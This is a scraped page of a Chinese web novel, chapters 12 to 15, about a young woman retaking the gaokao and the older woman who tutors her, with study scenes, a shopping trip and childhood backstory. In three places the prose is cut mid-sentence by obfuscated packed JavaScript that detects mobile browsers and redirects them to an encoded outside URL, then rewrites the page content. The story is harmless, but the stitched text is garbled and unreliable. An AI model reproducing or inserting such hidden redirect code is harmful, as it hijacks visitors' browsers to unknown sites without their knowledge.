d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16345702|183517||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 还挺令行禁止的。她莫名其妙地想到这个词,又被逗笑了,瞥了一眼夏潮,看见她今晚穿得还是一套洗得有些发白的旧睡衣,单薄的布料坠下来,勾出高挑清瘦的身体,还有一点柔软圆润的痕迹。 今晚夏潮也在睡衣底下穿了内衣。平原有些好奇,这就是没经历过寄宿生活的小孩吗? 她从小到大都是住多人宿舍,所以早就习惯大家在宿舍里穿得随随便便。尤其是高中时宿舍八人一间,学习时间紧张,人人争分夺秒,起床时她面对着墙脱睡衣,眼角余光一闪,只穿着内衣的下铺舍友已经风风火火跑进了厕所。 平原本来也想对夏潮说,在家不穿内衣也没关系,还在长身体呢,老穿着对发育不好。 但现在她一下子成了哑炮——都怪朱辞镜刚刚开的破玩笑,本来无所谓的话,现在一下子就变成了调戏漂亮小姑娘! 平原的嘴张了张,又闭上了。夏潮好奇的看着她,看见她脸又有一点淡淡的红晕。 难道客厅通风真不好?她思索,是不是自己刚才洗澡忘记开抽风机,现在涌出来的热气把平原给熏着了。 没有答案。平原已经站起身,走去冰箱拿了支饮料。 她今天穿件灰蓝的衬衣,扣子一丝不苟地扣到最上一颗,现在才想起来放松。夏潮看着她单手扯松衣领,似乎舒了口气,说: “我刚刚问了下朋友高考的问题。” 她最终单刀直入切进正题:“她也有个刚刚高考完的小侄女,微信我转给你了,你可以和她聊一下选科问题。” “小姑娘考得还行,六百多分。我朋友最近会来Q市出一趟差,到时候顺道把她留下来的教辅资料给你——喏,这个也给你。” 平原抛给她一瓶饮料:“我去洗澡了。” 她说完就进房间拿睡衣去了。 只剩下夏潮站在原地,后知后觉地意识到,原来刚刚那个牵扯心目的笑,是在聊她的事情。 她不知道为什么心情忽然就好了。 平原松开衣领时很漂亮。夏潮看过电视里那些同样扣紧领口的人,她们的纽扣是端正的矜贵的,平原的纽扣却像一道沉默的防线。 所以她扯松衣领的动作才那样轻盈又疲倦,像放出一缕风。 而少女心思是一朵小小的白云,一缕风足以让她飘动。 冰冰凉的瓶子握在手里,夏潮低头,看见上面标签写着“可尔必思”。 蓝白相间的配色,很是夏天。 平原把饮料抛给她时候,已经贴心地扭开了瓶盖。她想起对方素白的手和屈起的指节,以同样的动作扭开它,喝了一口。 苏打气泡掠过舌尖,流星一样细碎冰凉,带起微微的酥痒,她本能地唔了一声,尝到酸甜冰凉的奶味。 这也很夏天。 夏潮捧着它,像仓鼠抱着最宝贝的一粒瓜子。 平原已经进去洗澡了,这一次,轮到她听着浴室传来雨声。夏潮朝窗外看了一眼,发现今夜无月,但有星星。 夜色明明已经这么深了,楼下的蝉鸣却依旧高亢嘹亮。夏潮不记得在哪里看过,这些渺小的生灵在地下蛰伏几年甚至十几年,最后放声歌唱,只为一个夏天。 而亘古恒常的星星只是温柔地眨动着眼。那些细碎闪烁的星光,像苏打气泡一样轻盈明灭,却是来自几千年前。 短暂的气泡、蝉鸣,永恒的星星,还有让人愉快的夏天。 浴室还是哗啦啦的水声,温热洁净的香气在房间一点点蔓延,舌尖却是冰凉的甜。夏潮托着腮思考,又情不自禁微笑,自觉眉梢眼角都冒着傻气。 物理学拥有永恒吗? 夏潮不知道,她只是又想起那句话: 这一刻,宇宙所有的星星都在旋转。 12. 空试卷 朱辞镜的小侄女叫朱瑗,当天晚上,夏潮向她发出了好友申请。 申请通过得很快。女孩子和她同一届,但很有老前辈的架势,抓着夏潮叽里呱啦讲个没完。 她头头是道地和夏潮分析,说如果已经选定物理和地理的话,那另一项选化学比较好,这样报志愿的时候,可选择的范围更大一点。 夏潮很认真地点头,她也大概知道这是较为热门的选科方向。她之前读的高中属于乡镇学校,师资较为薄弱,只能提供几个固定的组合选择,基本上除了科目优势特别明显的尖子选手,老师都会推荐选这个。 兜兜转转,她也算回到原点。 夏潮倒是不抗拒这一点,不如说她松了口气,毕竟有基础总比没有好。 蚊子肉也是肉啊。她这样想,后知后觉地发现,自己已经开始为那个六月的最终分数做筹谋了。 好神奇,明明几天前,她还觉得这辈子不会再和高考扯上关系了。 她知道这是受了平原的影响。 朱瑗是个热情直爽的人,很容易让人对她心生亲近的好奇。夏潮一边和她聊天,一边就忍不住点进她的朋友圈看了一眼。 朋友圈都是女孩子花花绿绿的生活记录。 有朋友,也有旅行,几个女孩子脸上涂得花花绿绿,朱瑗站在中间,很兴奋地晒着她姑姑送她的人生第一套化妆品。 还有一些夏潮看不懂的小卡片和小徽章,也贴得亮闪闪的,扎在爱心型的背包里,朱瑗背着它,手里又捏一个小小的棉花娃娃,笑嘻嘻地和漂亮的芭菲杯打卡合影。 都是没见过的东西。她在心里轻轻的想,原来也高考完的暑假是这样丰富多彩的呀。 被子上栀子花的香味又飘进鼻尖了,夏潮缓慢地翻了个身,轻轻地叹了口气。 一丝酸楚从心中溜过,她意识到这是自卑。 夏潮记得自己参加高考的场景。没那么幸运,考场上每个人都在奋笔疾书,只有她一个字也写不出。 多难堪,但这难堪是她自愿去领受的。 其实她也不是一直都学习差的。夏玲生病前,她还是成绩不错的小孩,有时表现顽劣,也是仗着自己还算聪明,总能让大人看在成绩份上睁一只眼闭一只眼。 但在夏玲生病之后,她的成绩就开始往下掉了。 起初只是几天的缺课,她陪夏玲到省城去做检查,嘱托同桌替她抄抄笔记,功课还算跟得上。 但很快夏玲就病情恶化,开始一个月、两个月的住院。 同桌很仗义,哪怕战线拉得这样长,依旧每周末拿到手机就给夏潮发笔记。但夏潮没有时间去学去练,很快就看不懂那些复杂的符号了。 电视上拍的病人家属,不是在焦头烂额地奔波,就是在手术室前绝望地祈祷。但只有真正体会过的人才知道,在这两者之间,还有大量漫长的、无望的空白。 你总是需要去等。等待CT、B超和穿刺的结果,等待抽血的排队,等待化疗结束和麻醉失效。 而在这漫长的等待里,填满空白的是不安和恐惧。 夏潮做不到在那个时候拿出课本。或许她也拿出过,但很快就被打断,匆匆起身,去拿化验结果、给夏玲倒尿盆或是擦洗身子。 最后未读的笔记越来越多。 直到某天她下定决心,对同桌说谢谢你,以后不用给我发笔记了。 你不回学校了?同桌问。 “嗯。”她记得自己那时低下头一个字一个字地敲,又把话删掉,最后只是说,“我妈手术结果不好。” 对面似乎安静了一下。她们都是太年轻的女孩子,还不懂如何用场面话润滑一场沉默。一声叹息的时间之后,对面回复:“好,加油。” “你也是,”她便答,“高考加油。” 她们的对话就断在这里。再一次回到学校夏玲已经去世,她本想放弃高考,但夏玲无论如何也想让她考一回。 遗愿的重量逼她上了阵。于是就有了那个叫人难堪的结果。 最后一场考试结束的时候,大家都在欢呼。有人冲回宿舍,把自己三年来的试卷都撕碎,站在高处奋力往下抛。 白花花的纸片纷纷扬扬,像葬礼上白花花的纸钱。而她站在这场大雪里,觉得整个世界都很安静。 她一直把这种平静归结为无所谓,后来意识到,与其说是无所谓,不如说是这是一种怨不了任何人的委屈。 是啊,大家都很好,同桌给她写笔记,老师也给她留了讲义,就连病床前的夏玲,临终前的那一刻仍在用愧疚的神色看她,说是妈妈亏欠你。 夏玲当然没有亏欠,养育之恩一场,已足够令夏潮感激。只不过是世事无常,落到谁头上都是一声叹息。 夏潮没有任何人可以怨恨,就只能怨自己。 但是怨自己又很委屈。 直到遇见平原,才有勇气把那句“是世界不公平”说出去。 也只有平原,会对她说,不公平就不公平。我忍耐规则,就是要打破规则。 懒散的两三句话,不知不觉地就把她心底的胜负心勾了出来。 真讨厌。 微信依旧亮着,夏潮把脸埋在被窝里,盯着发亮的屏幕,自己也不知道自己为什么会想起这些。 或许是因为微信对面的朱瑗讲得很开心。她便也絮絮地应着,礼貌地答谢。讲到后面大概是朱瑗也意识到自己开始话唠了,很不好意思地发了傻笑的表情包做话题的结束,然后对她说高三要加油哦。 高三? 她敏感地捕捉到这个词汇,问,平原和你说我高三吗? 诶。对面也有一点困惑,说你难道不是高二升高三吗?平原姐姐没说你是高几。 原来如此。一个笑容从夏潮嘴角浮起来了,难怪今晚朱瑗一直在用学姐的口吻说话。原来,是平原没告诉她自己复读的事情。 或许是考虑到这是她的隐私,或许,也考虑到的她自尊心。毕竟,朱瑗确实是一个开朗幸福又优秀,阳光到有些让别人觉得自己像阴影的女孩子。 但现在,那些在阳光下现形的小小阴影,忽然变淡了。 夏潮本身就是个给点阳光就灿烂的人。 所以,她很坦诚地对朱瑗说:“我其实是复读的,姐姐可能是忘记说了。” 叮。消息发出去,三秒之后,对 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不知道为什么眼前一下子就浮现出隔壁房间的平原抱着被子,面无表情窝在床上,一头雾水的样子。 夏潮被自己的想象可爱了一下,突然就不想那样一板一眼地道谢了。 于是她问:“你怎么还没睡?” “不想睡。” 明明名字叫好想睡觉。夏潮打字:“为什么?” “不想上班,舍不得睡。” 好吧。一想到明天又要去摇奶茶,夏潮也不想睡了。 淡淡的死意涌上心头,她回复:“……可以理解。” 扑哧。屏幕另一端的平原忍不住笑了。 挺可怜的小朋友,小小年纪,就体验了打工人的苦。 她嘴角微微上扬,打字问:“今晚聊得怎么样?” “挺好的,朱瑗很好玩,”夏潮想了想,还是决定老实交代,“她还以为我是高二的,我告诉她我是复读生。” “是吗?那挺好的。”平原的回复无波无澜。 夏潮点头,意识到平原看不见,赶紧打字又说了一次:“谢谢你。” “不客气,周末带你去逛商场买日用品,明晚我想喝炖汤吃蒸排骨。” “……”真是一句话解决三个问题的高效女人。 夏潮在心里算了下日程:“周日去可以吗?我周六不方便。” “有别的安排?” 平原好像还不知道她在奶茶店的具体轮班制度,夏潮苦着脸,给她发了句蔫头巴脑的语音:“我单休,周六排班到我。” 听起来好可怜。 再冷心冷面的女人在单休的倒霉蛋面前也会忍不住笑出声来。平原翘起嘴角,忍不住也给她回敬一条语音。 夏潮点开,听见她冷淡声色里促狭上扬的尾音:“加油哦,再上五天班就可以啦。” ……靠。 这人还是和刚见面时一样坏。 夏潮在心里一边骂,一边打开手机,开始搜索:夏天炖什么汤比较好。 13. 望月亮 夏潮发现,选科方向定下来之后,一切就好推进多了。 平原给她列了学习计划,根据经验,把考纲内容分成了三大类。 第一类是古诗文、单词这类硬性背诵内容,时间紧迫,平原懒得浪费时间讲解,直接定了每日KPI,第二日抽背。 第二类是公式原理等考察理解的内容,她把每天晚上的讲解重心押在这儿,力求学懂吃透。 最后一类就是既考基础也考思维的综合应用内容,选拔考试里划分中等与优等生的分水岭。夏潮坐在桌子前,仰头看平原对着去年的考卷啧了一声,显然是觉得她目前的水平还指望不上,暂时搁置,刷题水平上来再议。 她把写好的计划表拿给夏潮看,夏潮觉得非常新颖。毕竟过去在学校课都是一节节上的,不同的科目有不同的版块,没有人会像平原这样,直接把高考内容拆成三大块,再根据科目差异细分。 完全是逆向的拆解思路。她把这想法告诉平原,平原平静地拍拍她脑袋,说等你读大学就懂了。 毕竟这就是期末四六级考研的基本自学思路。 平原庆幸自己大学学的是金融,毕业后工作也一直和数字打交道,所以回头看七八年前的知识,不至于连加减乘除都想不起来。 虽然她并没有读研。大学四年,班上尖子生们为争保研打得头破血流,却没想到最后算来算去,根据绩点,竟是不声不响她进了排名前三,人人对她虎视眈眈,而她笑一笑,对老师说,我放弃保研。 毕竟她当年很穷很穷,只想尽早还完助学贷款,读研并不在她的生存考虑范围内。 而且研究生每个月补助只有600块钱。二十岁出头的平原务实地想,读不起,打工去。 不过这些事儿就没必要和还要高考的小朋友说了。二十七岁的大人已经变得游刃有余,她望着夏潮微笑,说你今天单词还有50个。 夏潮果然仓皇逃窜。 每天早起背单词的日子就此开始。夏潮每天拿着单词小本子,一路背到奶茶店开早结束,又开始背古诗文。 她边哐哐哐加冰锤柠檬,边念念有词:“噫吁嚱,危乎高哉,多乎哉?不多也。” “?”店里唯一一个读了大专的店员路过,总觉得自己好像听错了什么。 但她没来得及张口,因为小珍已经在收银机前一张张排开九枚小票,唱山歌般扯起嗓子喊,夏潮!平台催单了!动作快点! “来了来了!” 夏潮赶紧应道,把奶茶递过去,让小珍风风火火地贴标签、装保温袋。 搅拌机嗡鸣间又有几个中学生模样的女孩走进来,她赶紧挂上笑容去接小珍的班,先问点单需求,又问多冰少冰、多糖少糖。 外卖骑手早就等到不耐烦了,小珍把外卖袋一递过去,对面呲溜就没影了。 她回过头,看见夏潮还在低头戳屏幕,小票打印机咔嚓咔嚓吐热敏纸,几个女孩子已经开始你撞我一下我碰你一脚,鬼鬼祟祟地交换着眼神,又对着夏潮抿嘴笑。 啧啧啧。小珍饶有兴味地看这热火朝天的景象,心想还是长得好吃香哦。小姑娘自从来上班,营业额至少提升了百分之二十。 虽然也有暑假的加成。但对着小夏那张白生生的脸蛋,谁敢否定美人计的作用? 夏潮长得好看。这好看不是明星那种美得能当景点的好看,而是一种坦率明亮的亲切感。明明大家都穿店员统一的白T恤,但她围裙一系,就比旁人清秀挺拔。 更别提小姑娘还唇红齿白的,眼睛又黑又亮,冲你笑着一弯,你就想升个大杯加个小料。 小珍边看边想,难怪夏潮上班第一天,店主就叮嘱她们,说要是客人来了,就让小夏去负责点单。 啧啧啧。她又想摇头晃脑了,觉得自己真是聪明到看破天机,等她以后牛气了自己开店,要也要找个长得俊的充门面。 她还在思忖未来的宏图大业,夏潮已经忙完回来了,小珍用手肘撞她一下,贼眉鼠眼地八卦:“诶,你长得挺好看的你自己知道不?以前有没有人追你啊?” “知道啊,有吧,”她紧了紧头上的发帽,边搅小料边说,“初中的时候我把隔壁班男生揍得嗷嗷叫,第二天他就往我抽屉里塞情书。” “哇哦,”多么欢喜冤家的校园恋爱开头,小珍追问,“后来呢?” “后来?我又把他揍了一顿。”因为他说她以后只能给他做饭生孩子。 “切,没劲,”不知前因后果的小珍撇嘴,“注孤生啊你!” 夏潮被她大失所望的样子逗乐了,也懒得解释,端起一盆柠檬去洗了:“我今天也只上早班哦。” “你今天也不吃饭啦?” “不吃了,”她拧开水龙头哗哗冲洗,“我要回去给我姐做饭。” “谈恋爱的时间都拿去做饭了是吧!”小珍嫌她没出息,捏起兰花指骂她,“二十四孝妹!” 夏潮又被她逗笑。 暑假生意忙人手紧。上白班的店员如果愿意晚上再加会儿班,不但能拿加班工资,还有15块的晚餐盒饭。 盒饭是统一点的,一个盒饭快赶上一小时时薪了。 大家都愿意蹭个晚饭,偏偏就夏潮一下班就往家跑。 真没出息。方宝珍女士16岁脱离原生家庭,如今已是铁骨铮铮的独立女人,相当不屑地嘘她:“跟你姐过一辈子吧!” 做了个投降的姿势,夏潮又跑去收银台点单了。 真不是她要围着平原转啊。她苦着脸想,实在是功课太紧了啊! 平原是一个好老师,但她绝对不是一个温柔的老师。 因为她太聪明了,从小当优等生的聪明脑袋,是不会懂笨瓜的脑子是怎么长的。 才在她手底下上了几天课,夏潮就觉得自己有点儿蔫了。 她最怕平原抽背。洋文鸟语像蚯蚓爬,老古板的之乎者也,也没好懂到哪里去。 一首《赤壁赋》她背得颠三倒四,平原问她“桂棹兮兰桨”的下一句是什么,她只能想起“一颗柠檬三泵糖浆”。 也不能怪她不认真啊!实在是白天上班太紧张,她背书的时候正好糖浆加错,又挨了小珍一顿骂。 夏潮欲哭无泪。偏偏平原还要笑吟吟地地看她。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16345704|183517||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 她本来就生了对猫一样的漂亮眼睛,不笑时冷静得近乎冷淡,笑起来便是妩媚里带几分凌厉。如今她既当了姐姐,又做了老师,气势更是十足。 夏潮看着她穿着睡衣懒洋洋地窝在沙发上,优哉游哉地扬起白皙的下巴,连哼笑都带着鼻音。 有点儿冷,又有点儿糯,还有不止一点点挑衅。 而她被平原恼得面红耳赤,有些时候甚至想扑过去把她按倒在沙发上。 至于按倒了能干什么?这点夏潮倒没细想,要么咬她一口,要么捂住她的嘴,求求她给自己留点面子吧。 当然,以上的事情她都不敢做。没背出来就是没背出来,考卷可不会听你那么多解释。夏潮心知肚明,所以只能垂头丧气地站着,可怜巴巴地瞅自己的脚尖。 平原倒是被她一副打败仗的样子逗乐了。 她放下课本,又扬了扬下巴使唤夏潮:“把客厅窗户打开。” “怎么了?” “叫你开你就开。” “哦。”夏潮老老实实地走过去,把窗户拉开。 夏夜的晚风吹进来,盈满了白纱帘。她一手扶着窗框,一边回头看平原,平原却对她说:“别看我啊,看窗外。” 于是她又依言向外望去。 客厅的角度正好对着院子,当年的老式小区没有什么错落有致的绿化,只有小小的停车场、秋千架,还有几棵大树,环绕着中间用砖瓦砌出来的小池塘。 池塘真的很小,水浅不过膝盖,白天常常能看见调皮的小孩举着小鱼网捞蝌蚪。 不过现在已经是晚上了,窗外只剩下溶溶的夜色,还有溶溶的月。树影葳蕤,掩映住池塘边那个很小很小的亭子,只露檐角尖尖。夏潮往水中张望,看见清明的月色铺在水上,碎银般波光粼粼。 一千年前被人凝望过的月亮,一千年后依旧悬挂在这里。 身后响起平原的声音:“你知道这叫什么吗?” 这不是索求答复的一句话。夏潮听见她的呼吸,轻得停了一只鸟:“桂棹兮兰桨,击空明兮溯流光。” “不过这个池子太小了,”她轻声笑,“只能放下纸折的乌篷船和月亮。” 她的声音比月光清澈。夏潮回过头,看见平原微笑的眼睛:“你看,结合情境去理解一篇文章,是很重要的。” 她低声道:“是我的疏忽,总觉得古诗文只要肌肉记忆就可以了。但仔细想想,这样其实有点自大。” 毕竟她高中的时候,也是要听过看过注释,才能理解这些一千多年的内容。 不过她的道歉就到这里了。小小地动了一下脚尖,平原矜持又心虚地承认,她也有大人的死要面子。 所以她没再往下说,往回走,又坐在了沙发上:“这一周我们先把它们过一遍吧,你觉得呢?” 她望过去,夏潮也看她。 被吹开的白纱帘,仍在风中摇晃,而她的脸笼罩在朦胧的月里,也有种白生生的柔亮。 明月窈窕,夏潮忽然就想起这篇赋的下一句话。 没出息。她小声骂自己,脑子这时候倒好使了哈? 14. 碰手指 那天晚上之后,夏潮背书快多了。 平原手里有一沓小便签,哪里背得不够熟,她就轻轻贴在哪里,等到下一次背好了再揭掉。夏潮每天对着注释念念有词,终于把那几篇便签贴成彩虹旗的文言文啃了下来。 天杀的,古人怎么把句子颠过来倒过去意思都一样呢? 她背得龇牙咧嘴,等到终于开始背《离骚》,期待已久的单休也终于到了。 她本以为平原说的带她逛商场买点东西,是指去家附近的便民超市采买生活用品,却没想到平原上了车,安全带咔哒一扣,一脚油门就带她到了市中心最大的商场。 那句话怎么说的?今天,端木同学带我去了美特○邦威。 夏潮生得晚,流星雨早就下过了,她未必知道这个梗,但平原显然在她脸上看见了女主角同样惊讶的表情。 但人家是演的,而夏潮瞪大的眼珠子如假包换。 正值暑假,商场里人多得很,夏潮简直像小土狗进城,东张西望,觉得自己这辈子就没看见过这么多人。 其实商场没什么稀奇的,对平原来说它就是坐落在CBD的玻璃大厦。白领出入其间,有人逛L1金碧辉煌的奢侈品橱窗,也有人买B1经济实惠的城市快餐。 头顶戴着硕大晶莹鸽血红、被射灯照得美轮美奂的明星是柏溪雪,而自己的好友朱辞镜正是这项高珠代言的宣发负责人,加班最狠的时候,半夜惊醒都在呐喊我要当皇帝我不要当乙方。 世界多小,自动扶梯上升下行,芸芸众生的故事就交错而过。 但对夏潮而言,这一切够大得叫人害怕了。 毕竟在乡下,不会有这么大这么明亮的商场,也不会有这么多衣着入时的人。 一对年轻情侣推着马尔济斯犬说笑而过,一个粉发女生对着电话边笑边说硕士毕业来搓一顿,也步伐匆匆。 一切都是新奇的漂亮的,除了穿着旧T恤踩着运动鞋的自己。 哦对,还有平原。 注意到她的目光,同样穿着白T恤,把头发扎成马尾的平原转头来,理直气壮地问:“干嘛?” “天天穿西装无袖背心裙见客户也是很累的好吧,”她抱怨,“dresscode就是反人类啊。” 好吧。平原穿旧T恤踩着运动鞋生着气也很漂亮,像生机勃勃的年轻学姐,又像站在露营帐篷边的高傲模特。 一丝不苟和满不在乎,两种截然不同的气质总是矛盾又和谐地出现在她身上。 夏潮看着海报,由衷地夸:“你好像上面的模特。” 平原面无表情,平淡地答:“因为我穿的就是这个品牌。” 夏潮:“……” 就不能是你长得好看吗? 她没话说了,因为平原径直将她拉进了这家有巨大玻璃橱窗和海报的店里。 射灯又照得她发晕了,她昏头转向,好像一头跌进衣服和镜子的海洋。鼻尖传来香薰的味道,她困惑地吸了吸鼻子,下一秒就连打了三个喷嚏。 “……” 眼泪都要飞出来了。平原看她鼻尖揉得通红,觉得有点好笑。 也有点可爱。 她们逛的这家店不是什么高大上的店。日系连锁品牌,胜在风格简洁,面料剪裁也及格,平原懒得动脑筋挑衣服的时候,就来这里买几件走。 所以她看见夏潮一副既小心又好奇的表情,就觉得她就像第一次进商场的小狗,什么都要看看闻闻嗅嗅。 但要真有风吹草动,她又要紧张地弹起来了。 脑海里浮现出刚刚那只东张西望的马尔济斯犬,白绒绒的,像块潦草的小抹布。平原被自己的联想逗乐了,伸出手勾住夏潮T恤下摆,不动声色地扯了扯。 “那边,”她低声说,“女装区在那儿。” 夏潮便乖乖地被她勾着往前走。 衣服玲琅满目,平原一看就知道,她又开始发晕了。 忍不住笑了一声,她伸手从衣架上取下几件衣服,放进购物篮:“先试试这些?”? “好。” 夏潮拎着衣服进去了。试衣间有专门供客人等候休息的位置,平原坐下来,托着下巴看了眼手机。 她的工作是咨询,听起来光鲜亮丽,但本质也只是乙方而已。 所以哪怕是周日,她也要定时上线看看有没有工作消息。 好在她的工作邮箱空空如也,平原把一颗心放回肚子里,一抬头,就看见夏潮的小隔间拉开了布帘。 很好看。这是她看见夏潮走出来,脑海最先浮现的一句话。 如果世界上有一种人天生适合穿T恤和休闲衬衫,那大概就是夏潮这种人。足够高的个子,足够薄的身形,还有一张干净的脸,让她穿这类衣服总有不落俗的明朗轻盈。 像野地里飞出一只白鸟。 按理说服装店的镜子和灯光会把人美化,但现在平原却觉得夏潮本人比镜子里还要漂亮些。 毕竟背后的镜子映不出本人此刻透粉的面颊。她站在灯光下,故作镇定地任平原打量,让平原唇角又浮起笑意。 “挺好看的,”她难得嘴巴诚实,“其他的也试下吧。” 除了远在S城的朱辞镜,平原没什么能出来一起逛街的朋友,因此看人一套套换造型的感觉,很是新奇。 人在玩换装小游戏的时候是不会觉得累的。 但轮到下一套的时候,夏潮只钻出了一颗脑袋。 平原抬起头,看见她将布帘子拽得紧紧的:“平原?” 她脸上露出紧张的神色,用口型问她,“你可不可以进来一下?” 怎么了?她起身,本能抬头看了一眼店员,又意识到,她们都是女生,又是姐妹,也没什么好避嫌的。 显然是店员也是这么觉得的。她含笑看满脸局促的夏潮,大概也是觉得这对姐妹很有意思。 真受不了自己。平原走过去,第一次觉得自己有点笨手笨脚:“怎么了?” 她以为是夏潮衣服拉链卡了,或者是尺码不合适,正要低下头去替她调整,眼前却撞进了一片红透的耳朵。 “我……”夏潮小声地说,“我好像来月经了……” 浅色的、还挂着标签的裤子,染上了一痕血渍。 明明穿第一套的时候还好好的,但换上第二套的时候忽然就…… 夏潮想死的心都有了。 她最近生理期很不稳定,或许和压力有关系。从夏玲病重到今天,算一算也快有两个月没来了。 来Q市的路上她还小心翼翼地垫了卫生巾,生怕半路忽然来月经,高铁上买不到。结果当然是白忙活一场,等在平原家住下,工作一忙,她也就把这件事抛到了九霄云外。 却没想到今天杀了个回马枪。 她低下头,心里很沮丧,倒不是讨厌生理期,而是觉得自己又给平原添麻烦了。 今 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16345705|183517||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 天还是她第一次和平原出门呢。她吸了吸鼻子,觉得心像浸透柠檬汁的海绵蛋糕,酸涩得轻轻一碰就碎。 好丢脸。 平原低头,看见小姑娘眼泪在眼眶里打转。 她是真的沮丧了,头垂着,肩膀也无精打采地往下垮。平原少有地从这个带点俯视的角度看她,看见她咬紧的嘴唇,还有泛红的鼻尖。 还是小女孩啊。她想起自己的十八岁,青春期的女孩子,好像也是这样紧张。一条白色的校服裤,早操时不小心发现沾了血,就像羞耻得天塌了一样严重。 但其实没关系的,月经也不过是血而已。它与身体的其他部分一样洁净。 她的声音带上了点笑,自己都没有发现,她竟第一次以姐姐的口吻说话:“没关系。” “我们把它买下来就好,”她放柔声音,朝着夏潮做了个手势,“往后退几步?” “嗯?” 夏潮困惑地抬头看她,似乎没明白,但还是乖乖地往后走了一步。 “嗯,挺好看的,”平原认真点头端详,“钱没白花。” 这句话开口本来只是为了宽慰,但说到最后,竟成了真心。夏潮穿的是条短裤,浅米色,剪裁好,料子顺,休闲版型,衬得她的小腿长直白皙,鹿一般轻捷。 她的目光在看见她纤细脚踝的时候飞开,试衣间的空气似乎有点稀薄了,她伸手,拍了拍夏潮肩膀打破这寂静:“放心,我包里有卫生巾。出去结账吧。” 夏潮的肩膀忽然一沉,是平原把挎包挂到了她肩上。她弯下腰,替夏潮调整了位置,刚好挡住血渍。 然后,她满意地点头道:“没问题。” 手被平原拉住了,她昂首挺胸,镇定自若地带她走出试衣间。 结账当然非常顺利。收银台的店员贴心地给她们指了商场卫生间的位置,两人走过去,平原把卫生巾放的位置告诉她。 “包里还有几片棉柔湿巾,”她说,“你用完可以顺便把新买的另一条裤子换上。” 夏潮点点头,不知道为什么却低了低头,没动。 怎么了?她问,跟着夏潮的目光往下看,发现原来是她仍握着夏潮的手。 两双手交叠在一起。半秒之后,有些慌乱地分开,指尖碰撞,像发生事故。 咳。平原无意义地轻咳一声,讪讪地说,去吧。 夏潮再回来时脸果然没那么红了。她换了一条新的裤子,似乎还洗了把脸,白皙的脸颊泛着水光,指尖也带着湿意。 她把包解下来,还给平原:“谢谢你。” 平原便也淡淡地回:“不客气。” 挎包在两个人手中传递,手指不经意间触碰,蜻蜓点水,一触即分。 夏潮的手指和平原想象的一边,微微的冰凉,带着清洁的湿意 “卫生间没擦手纸了。”她说,不知道为什么,有一丝歉意。 平原点点头:“暑假人多,纸巾比较紧俏。” 前言不搭后语,顾左右而言他。她们并肩踏上自动扶梯,手规规矩矩,各自垂在身侧。 谁也没有把手再伸过去。镜面的天花板映出她们缓缓上行的身影。夏潮盯着两人的倒影,不知道为什么有点走神。 然后,她听见身边的平原轻声问:“刚才那样,你会讨厌吗?” “什么?” 她愣住了。 天啊,平原什么时候说话口吻会这么细腻了? 15. 二百五 “你点头干什么?”面对夏潮的动作,平原却奇怪地问,“你都还没问我是哪样?” “啊?”夏潮愣住,“不是牵手吗?” “都是女的,我问这个干嘛。”平原好像觉得有点莫名其妙。 她从来都是个很有配得感的人,眉头一皱:“你讨厌我?” 她哪里敢!夏潮赶紧摇头以证清白:“没有啊!” 平原果然嘴角矜持地一翘,露出淡淡的“敢你就完了”的表情。 施展完姐姐的淫威,她满意地继续说:“我的意思是,刚刚在店里,我自作主张给你挑衣服,你会不喜欢吗?” 本来看夏潮紧张,她想着先挑几件试一轮,要是不合适,再出来慢慢挑。但没想到突发事件让俩人都有点乱了阵脚,后面衣服也没心情看了。 她留意着夏潮的神色,看见她想了想,说:“不啊。” 她认真地说:“其实你给我挑衣服的时候,我松了口气。” 这是真心话。夏潮当然不是什么没主见的小孩,相反,有些时候夏玲常常骂她,一天天的鬼主意多得很。 但再有主见,到了陌生的环境也会紧张。 她很久没穿新衣服了。在夏玲生病之后,再也没有人给她买新衣服。刚才站在衣架面前,她几乎都要有些头晕目眩。 倒不是说店里的装潢有多眼花缭乱,而是她一站在前面,就会忍不住想,我拿这件可以吗?会不会贵?会不会丑?会不会显得没见过世面,给平原添麻烦? 人一旦想的多了,就会自乱阵脚。所以她分外感激平原的干脆,让她得以摆脱那种困窘。 她将这样的心情告诉平原,平原却没多大的反应,只是淡淡地说:“哦。” “那就行。” 看吧,刚才会拉住她手的温柔姐姐果然只是昙花一现。夏潮翘了翘嘴角,心里并没有失落。 她想了想,又问平原:“你第一次进这样的商场,会紧张吗?” 平原说:“那得看是多久以前了。” 她很熟悉这个开场。如果是平时,这句话之后,就该面不改色地说——还行,我第一次逛大商场的时候已经是大学了。 但今天她忽然有点不想撒谎。或许是因为夏潮的窘迫,又让她想起曾经的自己。 所以她说:“我第一次被带去逛商场,是七岁的时候。” 自动扶梯又到终点了,她们顺着人流走出去,夏潮听见她轻轻的嗓音,像夜色中的一场梦。 “二十年前的事情了吧,之前和你说过,我是在福利院长大的。” “6岁那年,我遇到了想领养我的人。一对三十多岁的夫妇,双教师,家境不错,似乎是男方有生育问题,一直没有小孩。” 